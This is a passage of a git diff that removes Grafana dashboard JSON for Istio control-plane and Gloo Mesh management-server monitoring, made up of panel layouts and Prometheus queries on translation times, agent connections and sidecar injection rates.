"datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 41 - }, - "id": 630, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(sidecar_injection_success_total{cluster=\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Injections (Success)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(sidecar_injection_failure_total{cluster=\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Injections (Failure)", - "range": true, - "refId": "B" - } - ], - "title": "Sidecar Injection", - "type": "timeseries" - } - ], - "refresh": "5s", - "schemaVersion": 37, - "style": "dark", - "tags": [ - "istio", - "gloo" - ], - "templating": { - "list": [ - { - "current": { - "selected": true, - "text": "prometheus-GM", - "value": "prometheus-GM" - }, - "hide": 0, - "includeAll": false, - "multi": false, - "name": "datasource", - "options": [], - "query": "prometheus", - "queryValue": "", - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "type": "datasource" - }, - { - "current": {}, - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "definition": "label_values(istio_agent_pilot_xds, cluster)", - "hide": 0, - "includeAll": false, - "label": "Cluster", - "multi": true, - "name": "cluster", - "options": [], - "query": { - "query": "label_values(istio_agent_pilot_xds, cluster)", - "refId": "StandardVariableQuery" - }, - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "sort": 0, - "type": "query" - } - ] - }, - "time": { - "from": "now-15m", - "to": "now" - }, - "timepicker": { - "refresh_intervals": [ - "5s", - "10s", - "30s", - "1m", - "5m", - "15m", - "30m", - "1h", - "2h", - "1d" - ], - "time_options": [ - "5m", - "15m", - "1h", - "6h", - "12h", - "24h", - "2d", - "7d", - "30d" - ] - }, - "timezone": "browser", - "title": "Istio Control Plane Dashboard", - "uid": "3--MLVZZk", - "version": 10, - "weekStart": "" -} \ No newline at end of file diff --git a/gloo-mesh/enterprise/2-5/default/data/steps/gloo-platform-observability/operational-dashboard.json b/gloo-mesh/enterprise/2-5/default/data/steps/gloo-platform-observability/operational-dashboard.json deleted file mode 100644 index e69cebed10..0000000000 --- a/gloo-mesh/enterprise/2-5/default/data/steps/gloo-platform-observability/operational-dashboard.json +++ /dev/null @@ -1,2974 +0,0 @@ -{ - "annotations": { - "list": [ - { - "builtIn": 1, - "datasource": { - "type": "datasource", - "uid": "grafana" - }, - "enable": true, - "hide": true, - "iconColor": "rgba(0, 211, 255, 1)", - "name": "Annotations & Alerts", - "target": { - "limit": 100, - "matchAny": false, - "tags": [], - "type": "dashboard" - }, - "type": "dashboard" - } - ] - }, - "editable": true, - "fiscalYearStartMonth": 0, - "graphTooltip": 1, - "id": 28, - "links": [], - "liveNow": false, - "panels": [ - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 0 - }, - "id": 43, - "panels": [ - { - "cards": {}, - "color": { - "cardColor": "#b4ff00", - "colorScale": "sqrt", - "colorScheme": "interpolateCool", - "exponent": 0.5, - "mode": "spectrum" - }, - "dataFormat": "tsbuckets", - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "custom": { - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "scaleDistribution": { - "type": "linear" - } - } - }, - "overrides": [] - }, - "gridPos": { - "h": 9, - "w": 6, - "x": 0, - "y": 1 - }, - "heatmap": {}, - "hideZeroBuckets": false, - "highlightCards": true, - "id": 47, - "legend": { - "show": false - }, - "maxDataPoints": 25, - "options": { - "calculate": false, - "calculation": {}, - "cellGap": 2, - "cellValues": {}, - "color": { - "exponent": 0.5, - "fill": "#b4ff00", - "mode": "scheme", - "reverse": false, - "scale": "exponential", - "scheme": "Cool", - "steps": 128 - }, - "exemplars": { - "color": "rgba(255,0,255,0.7)" - }, - "filterValues": { - "le": 1e-9 - }, - "legend": { - "show": false - }, - "rowsFrame": { - "layout": "auto" - }, - "showValue": "never", - "tooltip": { - "show": true, - "yHistogram": false - }, - "yAxis": { - "axisPlacement": "left", - "reverse": false, - "unit": "short" - } - }, - "pluginVersion": "9.3.1", - "reverseYBuckets": false, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le)", - "format": "heatmap", - "hide": false, - "interval": "", - "legendFormat": "{{le}}", - "refId": "B" - } - ], - "title": "Total Translation Times Histogram", - "tooltip": { - "show": true, - "showHistogram": false - }, - "type": "heatmap", - "xAxis": { - "show": true - }, - "yAxis": { - "format": "short", - "logBase": 1, - "show": true - }, - "yBucketBound": "auto" - }, - { - "cards": {}, - "color": { - "cardColor": "#b4ff00", - "colorScale": "sqrt", - "colorScheme": "interpolateCool", - "exponent": 0.5, - "mode": "spectrum" - }, - "dataFormat": "tsbuckets", - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "custom": { - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "scaleDistribution": { - "type": "linear" - } - } - }, - "overrides": [] - }, - "gridPos": { - "h": 9, - "w": 6, - "x": 6, - "y": 1 - }, - "heatmap": {}, - "hideZeroBuckets": false, - "highlightCards": true, - "id": 12, - "legend": { - "show": false - }, - "maxDataPoints": 25, - "options": { - "calculate": false, - "calculation": {}, - "cellGap": 2, - "cellValues": {}, - "color": { - "exponent": 0.5, - "fill": "#b4ff00", - "mode": "scheme", - "reverse": false, - "scale": "exponential", - "scheme": "Cool", - "steps": 128 - }, - "exemplars": { - "color": "rgba(255,0,255,0.7)" - }, - "filterValues": { - "le": 1e-9 - }, - "legend": { - "show": false - }, - "rowsFrame": { - "layout": "auto" - }, - "showValue": "never", - "tooltip": { - "show": true, - "yHistogram": false - }, - "yAxis": { - "axisPlacement": "left", - "reverse": false, - "unit": "short" - } - }, - "pluginVersion": "9.3.1", - "reverseYBuckets": false, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(gloo_mesh_reconciler_time_sec_bucket[1m])) by (le)", - "hide": false, - "interval": "", - "legendFormat": "{{le}}", - "refId": "B" - } - ], - "title": "Total Recon Times Histogram", - "tooltip": { - "show": true, - "showHistogram": false - }, - "type": "heatmap", - "xAxis": { - "show": true - }, - "yAxis": { - "format": "short", - "logBase": 1, - "show": true - }, - "yBucketBound": "auto" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "custom": { - "align": "auto", - "displayMode": "auto", - "filterable": false, - "inspect": false - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 1 - } - ] - } - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "Value" - }, - "properties": [ - { - "id": "custom.width", - "value": 66 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "workspace" - }, - "properties": [ - { - "id": "custom.width", - "value": 209 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "namespace" - }, - "properties": [ - { - "id": "custom.width", - "value": 173 - } - ] - } - ] - }, - "gridPos": { - "h": 5, - "w": 12, - "x": 12, - "y": 1 - }, - "id": 31, - "options": { - "footer": { - "fields": "", - "reducer": [ - "sum" - ], - "show": false - }, - "showHeader": true, - "sortBy": [ - { - "desc": true, - "displayName": "Value" - } - ] - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": false, - "expr": "sum(translation_warning) by (pod,namespace,workspace,gvk)", - "format": "table", - "hide": false, - "instant": true, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Translation Warnings", - "transformations": [ - { - "id": "organize", - "options": { - "excludeByName": { - "Time": true - }, - "indexByName": { - "Time": 0, - "Value": 5, - "gvk": 4, - "namespace": 3, - "pod": 1, - "workspace": 2 - }, - "renameByName": {} - } - } - ], - "type": "table" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "custom": { - "align": "auto", - "displayMode": "auto", - "filterable": false, - "inspect": false - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 1 - } - ] - } - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "Value" - }, - "properties": [ - { - "id": "custom.width", - "value": 66 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "workspace" - }, - "properties": [ - { - "id": "custom.width", - "value": 209 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "namespace" - }, - "properties": [ - { - "id": "custom.width", - "value": 173 - } - ] - } - ] - }, - "gridPos": { - "h": 5, - "w": 12, - "x": 12, - "y": 6 - }, - "id": 45, - "options": { - "footer": { - "fields": "", - "reducer": [ - "sum" - ], - "show": false - }, - "showHeader": true, - "sortBy": [ - { - "desc": true, - "displayName": "Value" - } - ] - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": false, - "expr": "sum(translation_error) by (pod,namespace,workspace,gvk)", - "format": "table", - "hide": false, - "instant": true, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Translation Errors", - "transformations": [ - { - "id": "organize", - "options": { - "excludeByName": { - "Time": true - }, - "indexByName": { - "Time": 0, - "Value": 5, - "gvk": 4, - "namespace": 3, - "pod": 1, - "workspace": 2 - }, - "renameByName": {} - } - } - ], - "type": "table" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 0, - "y": 10 - }, - "id": 44, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.99, sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P99", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.90, sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P90", - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.75, sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P75", - "refId": "C" - } - ], - "title": "Translation Time Percentiles", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 6, - "y": 10 - }, - "id": 46, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.99, sum(rate(gloo_mesh_reconciler_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P99", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.90, sum(rate(gloo_mesh_reconciler_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P90", - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.75, sum(rate(gloo_mesh_reconciler_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P75", - "refId": "C" - } - ], - "title": "Recon Time Percentiles", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Number of translators that can run concurrently", - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 12, - "y": 11 - }, - "id": 8, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "center", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "text": { - "titleSize": 10, - "valueSize": 50 - }, - "textMode": "value" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(gloo_mesh_translator_concurrency) by (pod)", - "format": "time_series", - "hide": false, - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Gloo Translator Concurrency", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Number of errors when trying to sync with Redis", - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 18, - "y": 11 - }, - "id": 10, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "text": { - "titleSize": 20, - "valueSize": 40 - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(delta(gloo_mesh_redis_sync_err{app=\"gloo-mesh-mgmt-server\"}[10m]))", - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Redis Sync Errors (last 10m)", - "type": "stat" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Management Server", - "type": "row" - }, - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 1 - }, - "id": 25, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "percentage", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 99 - } - ] - }, - "unit": "percentunit" - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 4, - "x": 0, - "y": 18 - }, - "id": 16, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"}) / count(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"})", - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agents Connected", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 4, - "x": 4, - "y": 18 - }, - "id": 27, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(relay_pull_clients_connected)", - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Total Agent Connected", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 1 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 4, - "x": 8, - "y": 18 - }, - "id": 35, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "last" - ], - "fields": "", - "values": false - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "count(sum(relay_push_clients_warmed == 0) by(cluster))", - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agent Clusters Not Warmed", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 11, - "w": 12, - "x": 12, - "y": 18 - }, - "id": 18, - "options": { - "legend": { - "calcs": [ - "lastNotNull" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true, - "sortBy": "Last *", - "sortDesc": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"})by (pod)", - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agents Connected To each Management Pod", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "custom": { - "align": "auto", - "displayMode": "auto", - "filterable": true, - "inspect": false, - "width": 200 - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "Mgmt Pod" - }, - "properties": [ - { - "id": "custom.width", - "value": 433 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "Agent Cluster" - }, - "properties": [ - { - "id": "custom.width", - "value": 436 - } - ] - } - ] - }, - "gridPos": { - "h": 6, - "w": 12, - "x": 0, - "y": 23 - }, - "id": 20, - "options": { - "footer": { - "fields": "", - "reducer": [ - "sum" - ], - "show": false - }, - "showHeader": true, - "sortBy": [ - { - "desc": false, - "displayName": "Mgmt Pod" - } - ] - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": false, - "expr": "sum(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"}) by (pod,cluster)", - "format": "table", - "instant": true, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agents Connected To Each Mgmt Pod", - "transformations": [ - { - "id": "organize", - "options": { - "excludeByName": { - "Time": true, - "Value": true, - "Value #A": true - }, - "indexByName": { - "Time": 0, - "Value": 3, - "cluster": 2, - "pod": 1 - }, - "renameByName": { - "cluster": "Agent Cluster", - "pod": "Mgmt Pod" - } - } - } - ], - "type": "table" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Agents", - "type": "row" - }, - { - "collapsed": true, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 2 - }, - "id": 57, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 3 - }, - "id": 61, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "sum(rate(solo_io_insights_execution_time_count[5m]))", - "legendFormat": "Insights", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "rate(solo_io_insights_engine_errors_total[5m])", - "hide": false, - "legendFormat": "Errors", - "range": true, - "refId": "B" - } - ], - "title": "Insights execution rate", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 3 - }, - "id": 63, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "sum(rate(solo_io_analyzer_execution_time_count[5m]))", - "legendFormat": "Analyzer", - "range": true, - "refId": "A" - } - ], - "title": "Insights Analyzer execution rate", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 11 - }, - "id": 59, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_insights_execution_time_bucket[5m])) by (le,code))", - "legendFormat": "__auto", - "range": true, - "refId": "A" - } - ], - "title": "Insights execution times (p95)", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 11 - }, - "id": 60, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_insights_total_execution_time_bucket[$__rate_interval])) by (le))", - "hide": false, - "legendFormat": "p95", - "range": true, - 